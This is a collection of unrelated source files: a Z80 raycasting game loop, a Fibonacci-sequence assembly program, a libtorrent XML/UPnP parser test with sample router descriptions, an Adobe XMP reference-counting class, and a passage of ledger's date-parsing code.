ld (player_dir),a
tst_rarrow: bit 6,c ; Check bit 6: [->]
jr z,tst_a
; User is pressing the right-arrow key (->) so we change the
; player's direction one to the right.
ld a,(player_dir)
inc a
inc a
inc a
ld (player_dir),a
tst_a: ld a,($3801) ; A keyboard row
ld c,a ; ...goes into c
bit 1,c ; Check bit 1: [A]
jr z,tst_d
; Move the player EAST by one block.
ld hl,(player_x)
dec hl
ld (player_x),hl
tst_d: bit 4,c ; Check bit 4: [D]
jr z,tst_w
; Move the player WEST by one block.
ld hl,(player_x)
inc hl
ld (player_x),hl
tst_w: ld a,($3804) ; A keyboard row
ld c,a ; ...goes into c
bit 7,c ; Check bit 7: [W]
jr z,tst_s
; Move the player NORTH by one block.
ld hl,(player_y)
inc hl
ld (player_y),hl
tst_s: bit 3,c ; Check bit 3: [S]
jr z,tst_t
; Move the player SOUTH by one block.
ld hl,(player_y)
dec hl
ld (player_y),hl
tst_t: bit 4,c ; Check bit 4: [T]
jr z,tst_v
; Toggle demo mode.
ld a,(demo_mode)
xor 1
ld (demo_mode),a
tst_v: bit 6,c ; Check bit 6: [V]
jr z,demo
; Toggle use of VBLANK mod hardware.
ld a,(use_vblank)
xor 1
ld (use_vblank),a
demo: ld a,(demo_mode)
or a
jr z,raycast
; In demo mode we rotate to the right all the time.
ld a,(player_dir)
inc a
inc a
inc a
ld (player_dir),a
; -----------------------------------
; Raycast into the video back buffer.
; -----------------------------------
raycast: ld a,buff_line_width
ld (cast_col),a ; # of columns to drawn walls for.
ld a,64
sub a,(buff_line_width/2)
ld (cast_camera_dir),a ; Angle for camera correction.
ld hl,buff06
ld (buff_addr),hl ; First column addr in the back buffer.
ld a,(player_dir)
add a,256-(buff_line_width/2)
ld (cast_dir),a ; Raycasting angle of the first column.
col_loop: ; Cast and draw the wall at the left-hand-side of the column.
call cast
ld ix,(buff_addr)
ld iy,wall_hh
ld a,(wall_is_solid) ; Draw solid or outline wall?
or a
jr z,lhs_outline
call draw_solid_wall
jr col_next
lhs_outline: call draw_outline_wall
jr col_next
col_next: ; Move to next column and check if we are done drawing.
ld a,(cast_col)
dec a ; Decrement the # of columns left.
jr z, copy_to_screen ; When done, copy buff to the screen.
ld (cast_col),a
ld a,(cast_dir)
inc a ; Increment the raycasting angle.
ld (cast_dir),a
ld hl,(buff_addr)
inc hl ; Increment the back buffer addr.
ld (buff_addr),hl
ld a,(cast_camera_dir)
inc a ; Increment the camera lookup angle.
ld (cast_camera_dir),a
jr col_loop
; -----------------------------------
; Copy the back buffer to the screen.
; -----------------------------------
copy_to_screen: ld (save_sp),sp ; Save SP
ld sp,$3ec0
; Check if we are suppose to use the VBLANK hardware.
ld a,(use_vblank)
or a
jr z,update_screen
; ** Model 1 with VBLANK mod only **
; Wait for the start of VBLANK. We want to see a 0 value to
; Ensure we aren't jumping in at the end of VBLANK.
in_vblank: in a,($ff)
bit 0,a
jr nz,in_vblank
not_in_vblank: in a,($ff)
bit 0,a
jr z, not_in_vblank
; VBLANK is beginning when we fall through to here.
; Skipping the first line, copy the video back buffer to
; lines 2-12 on the screen with a 4 character margin.
update_screen: line_to_screen buff01,screen+64*1+4
line_to_screen buff02,screen+64*2+4
line_to_screen buff03,screen+64*3+4
line_to_screen buff04,screen+64*4+4
line_to_screen buff05,screen+64*5+4
line_to_screen buff06,screen+64*6+4
line_to_screen buff07,screen+64*7+4
line_to_screen buff08,screen+64*8+4
line_to_screen buff09,screen+64*9+4
line_to_screen buff10,screen+64*10+4
line_to_screen buff11,screen+64*11+4
ld sp,(save_sp) ; Restore SP
; Output stats to the screen.
; Show the frame count drawn to the screen.
ld hl,(frames_drawn) ; Increment value
inc hl
ld (frames_drawn),hl
ld b,l ; Display on the screen
ld a,h
call barden_hexcv
ld (screen+64*14+frames_len+1),hl
ld a,b
call barden_hexcv
ld (screen+64*14+frames_len+3),hl
; Show the player position on the screen.
ld a,(player_y)
call barden_hexcv
ld (screen+64*14-2),hl
ld a,(player_x)
call barden_hexcv
ld (screen+64*14-5),hl
; Show the player direction on the screen.
ld a,(player_dir)
call barden_hexcv
ld (screen+64*15-2),hl
; Show we are in demo mode, if needed.
ld a,(demo_mode)
or a
jr z,clear_star
; Show a '*' on the screen to indicated we are in demo mode.
ld a,'*'
ld (screen+64*13+title_len+1),a
jr vblank
clear_star: ; Clear the demo mode '*' from the screen.
ld a,' '
ld (screen+64*13+title_len+1),a
; Show we are using VBLANK hardware, if needed.
vblank: ld a,(use_vblank)
or a
jr z,clear_vblank
; Show a 'V' on the screen to indicated we are in demo mode.
ld a,'V'
ld (screen+64*14+title_len+1),a
jr game_cont
clear_vblank: ; Clear the VBLANK hardware use 'V' from the screen.
ld a,' '
ld (screen+64*14+title_len+1),a
; ---------------------------------------------------
; Now go back to the top of the game loop and repeat.
; ---------------------------------------------------
game_cont: jp game_loop
end main
|
; A022091: Fibonacci sequence beginning 0, 8.
; 0,8,8,16,24,40,64,104,168,272,440,712,1152,1864,3016,4880,7896,12776,20672,33448,54120,87568,141688,229256,370944,600200,971144,1571344,2542488,4113832,6656320,10770152,17426472,28196624,45623096,73819720,119442816
mov $3,1
lpb $0
sub $0,1
mov $2,$1
mov $1,$3
add $3,$2
lpe
mul $1,8
|
/*
Copyright (c) 2013-2017, 2019, Arvid Norberg
Copyright (c) 2015, Mike Tzou
Copyright (c) 2016, Andrei Kurushin
Copyright (c) 2018, Alden Torres
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "libtorrent/xml_parse.hpp"
#include "libtorrent/upnp.hpp"
#include "test.hpp"
#include <iostream>
#include <functional>
namespace {
char upnp_xml[] =
R"(<root>
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://192.168.0.1:5678</URLBase>
<device>
<deviceType>
urn:schemas-upnp-org:device:InternetGatewayDevice:1
</deviceType>
<presentationURL>http://192.168.0.1:80</presentationURL>
<friendlyName>D-Link Router</friendlyName>
<manufacturer>D-Link</manufacturer>
<manufacturerURL>http://www.dlink.com</manufacturerURL>
<modelDescription>Internet Access Router</modelDescription>
<modelName>D-Link Router</modelName>
<UDN>uuid:upnp-InternetGatewayDevice-1_0-12345678900001</UDN>
<UPC>123456789001</UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType>
<serviceId>urn:upnp-org:serviceId:L3Forwarding1</serviceId>
<controlURL>/Layer3Forwarding</controlURL>
<eventSubURL>/Layer3Forwarding</eventSubURL>
<SCPDURL>/Layer3Forwarding.xml</SCPDURL>
</service>
</serviceList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType>
<friendlyName>WANDevice</friendlyName>
<manufacturer>D-Link</manufacturer>
<manufacturerURL>http://www.dlink.com</manufacturerURL>
<modelDescription>Internet Access Router</modelDescription>
<modelName>D-Link Router</modelName>
<modelNumber>1</modelNumber>
<modelURL>http://support.dlink.com</modelURL>
<serialNumber>12345678900001</serialNumber>
<UDN>uuid:upnp-WANDevice-1_0-12345678900001</UDN>
<UPC>123456789001</UPC>
<serviceList>
<service>
<serviceType>
urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
</serviceType>
<serviceId>urn:upnp-org:serviceId:WANCommonInterfaceConfig</serviceId>
<controlURL>/WANCommonInterfaceConfig</controlURL>
<eventSubURL>/WANCommonInterfaceConfig</eventSubURL>
<SCPDURL>/WANCommonInterfaceConfig.xml</SCPDURL>
</service>
</serviceList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
<friendlyName>WAN Connection Device</friendlyName>
<manufacturer>D-Link</manufacturer>
<manufacturerURL>http://www.dlink.com</manufacturerURL>
<modelDescription>Internet Access Router</modelDescription>
<modelName>D-Link Router</modelName>
<modelNumber>1</modelNumber>
<modelURL>http://support.dlink.com</modelURL>
<serialNumber>12345678900001</serialNumber>
<UDN>uuid:upnp-WANConnectionDevice-1_0-12345678900001</UDN>
<UPC>123456789001</UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConnection</serviceId>
<controlURL>/WANIPConnection</controlURL>
<eventSubURL>/WANIPConnection</eventSubURL>
<SCPDURL>/WANIPConnection.xml</SCPDURL>
</service>
</serviceList>
</device>
</deviceList>
</device>
</deviceList>
</device>
</root>)";
char upnp_xml2[] =
R"(<root>
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://192.168.1.1:49152</URLBase>
<device>
<deviceType>
urn:schemas-upnp-org:device:InternetGatewayDevice:1
</deviceType>
<friendlyName>LINKSYS WAG200G Gateway</friendlyName>
<manufacturer>LINKSYS</manufacturer>
<manufacturerURL>http://www.linksys.com</manufacturerURL>
<modelDescription>LINKSYS WAG200G Gateway</modelDescription>
<modelName>Wireless-G ADSL Home Gateway</modelName>
<modelNumber>WAG200G</modelNumber>
<modelURL>http://www.linksys.com</modelURL>
<serialNumber>123456789</serialNumber>
<UDN>uuid:8d401597-1dd2-11b2-a7d4-001ee5947cac</UDN>
<UPC>WAG200G</UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType>
<serviceId>urn:upnp-org:serviceId:L3Forwarding1</serviceId>
<controlURL>/upnp/control/L3Forwarding1</controlURL>
<eventSubURL>/upnp/event/L3Forwarding1</eventSubURL>
<SCPDURL>/l3frwd.xml</SCPDURL>
</service>
</serviceList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType>
<friendlyName>WANDevice</friendlyName>
<manufacturer>LINKSYS</manufacturer>
<manufacturerURL>http://www.linksys.com/</manufacturerURL>
<modelDescription>Residential Gateway</modelDescription>
<modelName>Internet Connection Sharing</modelName>
<modelNumber>1</modelNumber>
<modelURL>http://www.linksys.com/</modelURL>
<serialNumber>0000001</serialNumber>
<UDN>uuid:8d401596-1dd2-11b2-a7d4-001ee5947cac</UDN>
<UPC>WAG200G</UPC>
<serviceList>
<service>
<serviceType>
urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
</serviceType>
<serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>
<controlURL>/upnp/control/WANCommonIFC1</controlURL>
<eventSubURL>/upnp/event/WANCommonIFC1</eventSubURL>
<SCPDURL>/cmnicfg.xml</SCPDURL>
</service>
</serviceList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
<friendlyName>WANConnectionDevice</friendlyName>
<manufacturer>LINKSYS</manufacturer>
<manufacturerURL>http://www.linksys.com/</manufacturerURL>
<modelDescription>Residential Gateway</modelDescription>
<modelName>Internet Connection Sharing</modelName>
<modelNumber>1</modelNumber>
<modelURL>http://www.linksys.com/</modelURL>
<serialNumber>0000001</serialNumber>
<UDN>uuid:8d401597-1dd2-11b2-a7d3-001ee5947cac</UDN>
<UPC>WAG200G</UPC>
<serviceList>
<service>
<serviceType>
urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
</serviceType>
<serviceId>urn:upnp-org:serviceId:WANEthLinkC1</serviceId>
<controlURL>/upnp/control/WANEthLinkC1</controlURL>
<eventSubURL>/upnp/event/WANEthLinkC1</eventSubURL>
<SCPDURL>/wanelcfg.xml</SCPDURL>
</service>
<service>
<serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANPPPConn1</serviceId>
<controlURL>/upnp/control/WANPPPConn1</controlURL>
<eventSubURL>/upnp/event/WANPPPConn1</eventSubURL>
<SCPDURL>/pppcfg.xml</SCPDURL>
</service>
</serviceList>
</device>
</deviceList>
</device>
<device>
<deviceType>urn:schemas-upnp-org:device:LANDevice:1</deviceType>
<friendlyName>LANDevice</friendlyName>
<manufacturer>LINKSYS</manufacturer>
<manufacturerURL>http://www.linksys.com/</manufacturerURL>
<modelDescription>Residential Gateway</modelDescription>
<modelName>Residential Gateway</modelName>
<modelNumber>1</modelNumber>
<modelURL>http://www.linksys.com/</modelURL>
<serialNumber>0000001</serialNumber>
<UDN>uuid:8d401596-1dd2-11b2-a7d3-001ee5947cac</UDN>
<UPC>WAG200G</UPC>
<serviceList>
<service>
<serviceType>
urn:schemas-upnp-org:service:LANHostConfigManagement:1
</serviceType>
<serviceId>urn:upnp-org:serviceId:LANHostCfg1</serviceId>
<controlURL>/upnp/control/LANHostCfg1</controlURL>
<eventSubURL>/upnp/event/LANHostCfg1</eventSubURL>
<SCPDURL>/lanhostc.xml</SCPDURL>
</service>
</serviceList>
</device>
</deviceList>
<presentationURL>http://192.168.1.1/index.htm</presentationURL>
</device>
</root>)";
char upnp_xml3[] =
R"(<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<s:Fault>
<faultcode>s:Client</faultcode>
<faultstring>UPnPError</faultstring>
<detail>
<UPnPErrorxmlns="urn:schemas-upnp-org:control-1-0">
<errorCode>402</errorCode>
<errorDescription>Invalid Args</errorDescription>
</UPnPError>
</detail>
</s:Fault>
</s:Body>
</s:Envelope>)";
char upnp_xml4[] =
R"(<?xml version="1.0"?>
<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetExternalIPAddressResponse
xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewExternalIPAddress>123.10.20.30</NewExternalIPAddress>
</u:GetExternalIPAddressResponse>
</s:Body>
</s:Envelope>)";
char upnp_xml5[] =
R"(<root>
<URLBase>http://192.168.1.1:49152</URLBase>
<device>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
<friendlyName>WANConnectionDevice</friendlyName>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<SCPDURL>/wipc_scpd.xml</SCPDURL>
<controlURL>/wipc_cont</controlURL>
<eventSubURL>/wipc_evnt</eventSubURL>
</service>
<service>
<serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANPPPConnection</serviceId>
<SCPDURL>/wpppc_scpd.xml</SCPDURL>
<controlURL>/wpppc_cont</controlURL>
<eventSubURL>/wpppc_evnt</eventSubURL>
</service>
</serviceList>
</device>
</deviceList>
</device>
</deviceList>
<presentationURL>http://192.168.1.1/index.htm</presentationURL>
</device>
</root>)";
using namespace lt;
using namespace std::placeholders;
void parser_callback(std::string& out, int token, string_view s
, string_view val)
{
switch (token)
{
case xml_start_tag: out += "B"; break;
case xml_end_tag: out += "F"; break;
case xml_empty_tag: out += "E"; break;
case xml_declaration_tag: out += "D"; break;
case xml_comment: out += "C"; break;
case xml_string: out += "S"; break;
case xml_attribute: out += "A"; break;
case xml_parse_error: out += "P"; break;
case xml_tag_content: out += "T"; break;
default: TEST_CHECK(false);
}
out.append(s.begin(), s.end());
if (token == xml_attribute)
{
TEST_CHECK(!val.empty());
out += "V";
out.append(val.begin(), val.end());
}
else
{
TEST_CHECK(val.empty());
}
}
void test_parse(char const* in, char const* expected)
{
std::string out;
xml_parse(in, std::bind(&parser_callback
, std::ref(out), _1, _2, _3));
std::printf("in: %s\n out: %s\nexpected: %s\n"
, in, out.c_str(), expected);
TEST_EQUAL(out, expected);
}
} // anonymous namespace
TORRENT_TEST(upnp_parser1)
{
parse_state xml_s;
xml_parse(upnp_xml, std::bind(&find_control_url, _1, _2, std::ref(xml_s)));
std::cout << "namespace " << xml_s.service_type << std::endl;
std::cout << "url_base: " << xml_s.url_base << std::endl;
std::cout << "control_url: " << xml_s.control_url << std::endl;
std::cout << "model: " << xml_s.model << std::endl;
TEST_EQUAL(xml_s.url_base, "http://192.168.0.1:5678");
TEST_EQUAL(xml_s.control_url, "/WANIPConnection");
TEST_EQUAL(xml_s.service_type, "urn:schemas-upnp-org:service:WANIPConnection:1");
TEST_EQUAL(xml_s.model, "D-Link Router");
}
TORRENT_TEST(upnp_parser2)
{
parse_state xml_s;
xml_parse(upnp_xml2, std::bind(&find_control_url, _1, _2, std::ref(xml_s)));
std::cout << "namespace " << xml_s.service_type << std::endl;
std::cout << "url_base: " << xml_s.url_base << std::endl;
std::cout << "control_url: " << xml_s.control_url << std::endl;
std::cout << "model: " << xml_s.model << std::endl;
TEST_EQUAL(xml_s.url_base, "http://192.168.1.1:49152");
TEST_EQUAL(xml_s.control_url, "/upnp/control/WANPPPConn1");
TEST_EQUAL(xml_s.service_type, "urn:schemas-upnp-org:service:WANPPPConnection:1");
TEST_EQUAL(xml_s.model, "Wireless-G ADSL Home Gateway");
}
TORRENT_TEST(upnp_parser3)
{
error_code_parse_state xml_s;
xml_parse(upnp_xml3, std::bind(&find_error_code, _1, _2, std::ref(xml_s)));
std::cout << "error_code " << xml_s.error_code << std::endl;
TEST_EQUAL(xml_s.error_code, 402);
}
TORRENT_TEST(upnp_parser4)
{
ip_address_parse_state xml_s;
xml_parse(upnp_xml4, std::bind(&find_ip_address, _1, _2, std::ref(xml_s)));
std::cout << "error_code " << xml_s.error_code << std::endl;
std::cout << "ip_address " << xml_s.ip_address << std::endl;
TEST_EQUAL(xml_s.error_code, -1);
TEST_EQUAL(xml_s.ip_address, "123.10.20.30");
}
TORRENT_TEST(upnp_parser5)
{
parse_state xml_s;
xml_parse(upnp_xml5, std::bind(&find_control_url, _1, _2, std::ref(xml_s)));
std::cout << "namespace " << xml_s.service_type << std::endl;
std::cout << "url_base: " << xml_s.url_base << std::endl;
std::cout << "control_url: " << xml_s.control_url << std::endl;
std::cout << "model: " << xml_s.model << std::endl;
TEST_EQUAL(xml_s.url_base, "http://192.168.1.1:49152");
TEST_EQUAL(xml_s.control_url, "/wipc_cont");
TEST_EQUAL(xml_s.service_type, "urn:schemas-upnp-org:service:WANIPConnection:1");
}
TORRENT_TEST(tags)
{
test_parse("<a>foo<b/>bar</a>", "BaSfooEbSbarFa");
}
TORRENT_TEST(xml_tag_comment)
{
test_parse("<?xml version = \"1.0\"?><c x=\"1\" \t y=\"3\"/><d foo='bar'></d boo='foo'><!--comment-->"
, "DxmlAversionV1.0EcAxV1AyV3BdAfooVbarFdAbooVfooCcomment");
}
TORRENT_TEST(empty_tag)
{
test_parse("<foo/>", "Efoo");
}
TORRENT_TEST(empty_tag_whitespace)
{
test_parse("<foo />", "Efoo");
}
TORRENT_TEST(xml_tag_no_attribute)
{
test_parse("<?xml?>", "Dxml");
}
TORRENT_TEST(xml_tag_no_attribute_whitespace)
{
test_parse("<?xml ?>", "Dxml");
}
TORRENT_TEST(attribute_missing_qoute)
{
test_parse("<a f=1>foo</a f='b>"
, "BaPunquoted attribute valueSfooFaPmissing end quote on attribute");
}
TORRENT_TEST(attribute_whitespace)
{
test_parse("<a f>foo</a v >", "BaTfSfooFaTv ");
}
TORRENT_TEST(unterminated_cdata)
{
// test unterminated CDATA tags
test_parse("<![CDATA[foo", "Punexpected end of file");
}
TORRENT_TEST(cdata)
{
// test CDATA tag
test_parse("<![CDATA[verbatim tag that can have > and < in it]]>"
, "Sverbatim tag that can have > and < in it");
}
TORRENT_TEST(unterminated_tag)
{
// test unterminated tags
test_parse("<foo", "Punexpected end of file");
}
TORRENT_TEST(unqouted_attribute_value)
{
// test unquoted attribute values
test_parse("<foo a=bar>", "BfooPunquoted attribute value");
}
TORRENT_TEST(unterminated_attribute)
{
// test unterminated attribute value
test_parse("<foo a=\"bar>", "BfooPmissing end quote on attribute");
}
TORRENT_TEST(unterminated_tag_with_attribute)
{
// test unterminated tag
test_parse("<foo a=\"bar", "Punexpected end of file");
}
|
// =================================================================================================
// Copyright Adobe
// Copyright 2014 Adobe
// All Rights Reserved
//
// NOTICE: Adobe permits you to use, modify, and distribute this file in accordance with the terms
// of the Adobe license agreement accompanying it.
// =================================================================================================
#define IMPLEMENTATION_HEADERS_CAN_BE_INCLUDED 1
#include "XMPCommon/ImplHeaders/SharedObjectImpl.h"
#undef IMPLEMENTATION_HEADERS_CAN_BE_INCLUDED
#include <assert.h>
namespace XMP_COMPONENT_INT_NAMESPACE {
void APICALL SharedObjectImpl::Acquire() const __NOTHROW__ {
if ( mCountInternal != 0 ) {
--mCountInternal;
} else {
++mRefCount;
}
}
void APICALL SharedObjectImpl::Release() const __NOTHROW__ {
if ( mRefCount.load( ) == 0 || --mRefCount == 0 ) {
delete this;
}
}
SharedObjectImpl::~SharedObjectImpl() __NOTHROW__ {
assert( mRefCount == 0 );
}
void APICALL SharedObjectImpl::AcquireInternal() const __NOTHROW__ {
++mCountInternal;
++mRefCount;
}
}
|
/*
* Copyright (c) 2003-2019, John Wiegley. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither the name of New Artisans LLC nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <system.hh>
#include "times.h"
#if defined(_WIN32) || defined(__CYGWIN__)
#include "strptime.h"
#endif
namespace ledger {
optional<datetime_t> epoch;
date_time::weekdays start_of_week = gregorian::Sunday;
namespace {
template <typename T, typename InputFacetType, typename OutputFacetType>
class temporal_io_t : public noncopyable
{
string fmt_str;
public:
date_traits_t traits;
bool input;
temporal_io_t(const char * _fmt_str, bool _input)
: fmt_str(_fmt_str),
traits(icontains(fmt_str, "%F") || icontains(fmt_str, "%y"),
icontains(fmt_str, "%F") || icontains(fmt_str, "%m") || icontains(fmt_str, "%b"),
icontains(fmt_str, "%F") || icontains(fmt_str, "%d")),
input(_input) {
}
void set_format(const char * fmt) {
fmt_str = fmt;
traits = date_traits_t(icontains(fmt_str, "%F") || icontains(fmt_str, "%y"),
icontains(fmt_str, "%F") ||
icontains(fmt_str, "%m") || icontains(fmt_str, "%b"),
icontains(fmt_str, "%F") || icontains(fmt_str, "%d"));
}
T parse(const char *) {}
std::string format(const T& when) {
std::tm data(to_tm(when));
char buf[128];
std::strftime(buf, 127, fmt_str.c_str(), &data);
return buf;
}
};
template <>
datetime_t temporal_io_t<datetime_t, posix_time::time_input_facet,
posix_time::time_facet>
::parse(const char * str)
{
std::tm data;
std::memset(&data, 0, sizeof(std::tm));
if (strptime(str, fmt_str.c_str(), &data))
return posix_time::ptime_from_tm(data);
else
return datetime_t();
}
template <>
date_t temporal_io_t<date_t, gregorian::date_input_facet,
gregorian::date_facet>
::parse(const char * str)
{
std::tm data;
std::memset(&data, 0, sizeof(std::tm));
data.tm_year = CURRENT_DATE().year() - 1900;
data.tm_mday = 1; // some formats have no day
if (strptime(str, fmt_str.c_str(), &data))
return gregorian::date_from_tm(data);
else
return date_t();
}
typedef temporal_io_t<datetime_t, posix_time::time_input_facet,
posix_time::time_facet> datetime_io_t;
typedef temporal_io_t<date_t, gregorian::date_input_facet,
gregorian::date_facet> date_io_t;
shared_ptr<datetime_io_t> input_datetime_io;
shared_ptr<datetime_io_t> timelog_datetime_io;
shared_ptr<datetime_io_t> written_datetime_io;
shared_ptr<date_io_t> written_date_io;
shared_ptr<datetime_io_t> printed_datetime_io;
shared_ptr<date_io_t> printed_date_io;
std::deque<shared_ptr<date_io_t> > readers;
bool convert_separators_to_slashes = true;
date_t parse_date_mask_routine(const char * date_str, date_io_t& io,
date_traits_t * traits = NULL)
{
if (std::strlen(date_str) > 127) {
throw_(date_error, _f("Invalid date: %1%") % date_str);
}
char buf[128];
std::strcpy(buf, date_str);
if (convert_separators_to_slashes) {
for (char * p = buf; *p; p++)
if (*p == '.' || *p == '-')
*p = '/';
}
date_t when = io.parse(buf);
if (! when.is_not_a_date()) {
DEBUG("times.parse", "Passed date string: " << date_str);
DEBUG("times.parse", "Parsed date string: " << buf);
DEBUG("times.parse", "Parsed result is: " << when);
DEBUG("times.parse", "Formatted result is: " << io.format(when));
string when_str = io.format(when);
const char * p = when_str.c_str();
const char * q = buf;
for (; *p && *q; p++, q++) {
if (*p != *q && *p == '0') p++;
if (! *p || *p != *q) break;
}
if (*p != '\0' || *q != '\0')
throw_(date_error, _f("Invalid date: %1%") % date_str);
if (traits)
*traits = io.traits;
if (! io.traits.has_year) {
when = date_t(CURRENT_DATE().year(), when.month(), when.day());
if (when.month() > CURRENT_DATE().month())
when -= gregorian::years(1);
}
}
return when;
}
date_t parse_date_mask(const char * date_str, date_traits_t * traits = NULL)
{
foreach (shared_ptr<date_io_t>& reader, readers) {
date_t when = parse_date_mask_routine(date_str, *reader.get(), traits);
if (! when.is_not_a_date())
return when;
}
throw_(date_error, _f("Invalid date: %1%") % date_str);
return date_t();
}
}
optional<date_time::weekdays> string_to_day_of_week(const std::string& str)
{
if (str == _("sun") || str == _("sunday") || str == "0")
return gregorian::Sunday;
else if (str == _("mon") || str == _("monday") || str == "1")
return gregorian::Monday;
else if (str == _("tue") || str == _("tuesday") || str == "2")
return gregorian::Tuesday;
else if (str == _("wed") || str == _("wednesday") || str == "3")
return gregorian::Wednesday;
else if (str == _("thu") || str == _("thursday") || str == "4")
return gregorian::Thursday;
else if (str == _("fri") || str == _("friday") || str == "5")
return gregorian::Friday;
else if (str == _("sat") || str == _("saturday") || str == "6")
return gregorian::Saturday;
else
return none;
}
optional<date_time::months_of_year>
string_to_month_of_year(const std::string& str)
{
if (str == _("jan") || str == _("january") || str == "0")
return gregorian::Jan;
else if (str == _("feb") || str == _("february") || str == "1")
return gregorian::Feb;
else if (str == _("mar") || str == _("march") || str == "2")
return gregorian::Mar;
else if (str == _("apr") || str == _("april") || str == "3")
return gregorian::Apr;
else if (str == _("may") || str == _("may") || str == "4")
return gregorian::May;
else if (str == _("jun") || str == _("june") || str == "5")
return gregorian::Jun;
else if (str == _("jul") || str == _("july") || str == "6")
return gregorian::Jul;
else if (str == _("aug") || str == _("august") || str == "7")
return gregorian::Aug;
else if (str == _("sep") || str == _("september") || str == "8")
return gregorian::Sep;
else if (str == _("oct") || str == _("october") || str == "9")
return gregorian::Oct;
else if (str == _("nov") || str == _("november") || str == "10")
return gregorian::Nov;
else if (str == _("dec") || str == _("december") || str == "11")
return gregorian::Dec;
else
return none;
}
datetime_t parse_datetime(const char * str)
{
char buf[128];
std::strcpy(buf, str);
for (char * p = buf; *p; p++)
if (*p == '.' || *p == '-')
*p = '/';
datetime_t when = input_datetime_io->parse(buf);
if (when.is_not_a_date_time()) {
when = timelog_datetime_io->parse(buf);
if (when.is_not_a_date_time()) {
throw_(date_error, _f("Invalid date/time: %1%") % str);
}
}
return when;
}
date_t parse_date(const char * str)
{
return parse_date_mask(str);
}
date_t date_specifier_t::begin() const
{
year_type the_year = year ? *year : year_type(CURRENT_DATE().year());
month_type the_month = month ? *month : date_t::month_type(1);
day_type the_day = day ? *day : date_t::day_type(1);
#if !NO_ASSERTS
if (day)
assert(! wday);
else if (wday)
assert(! day);
#endif
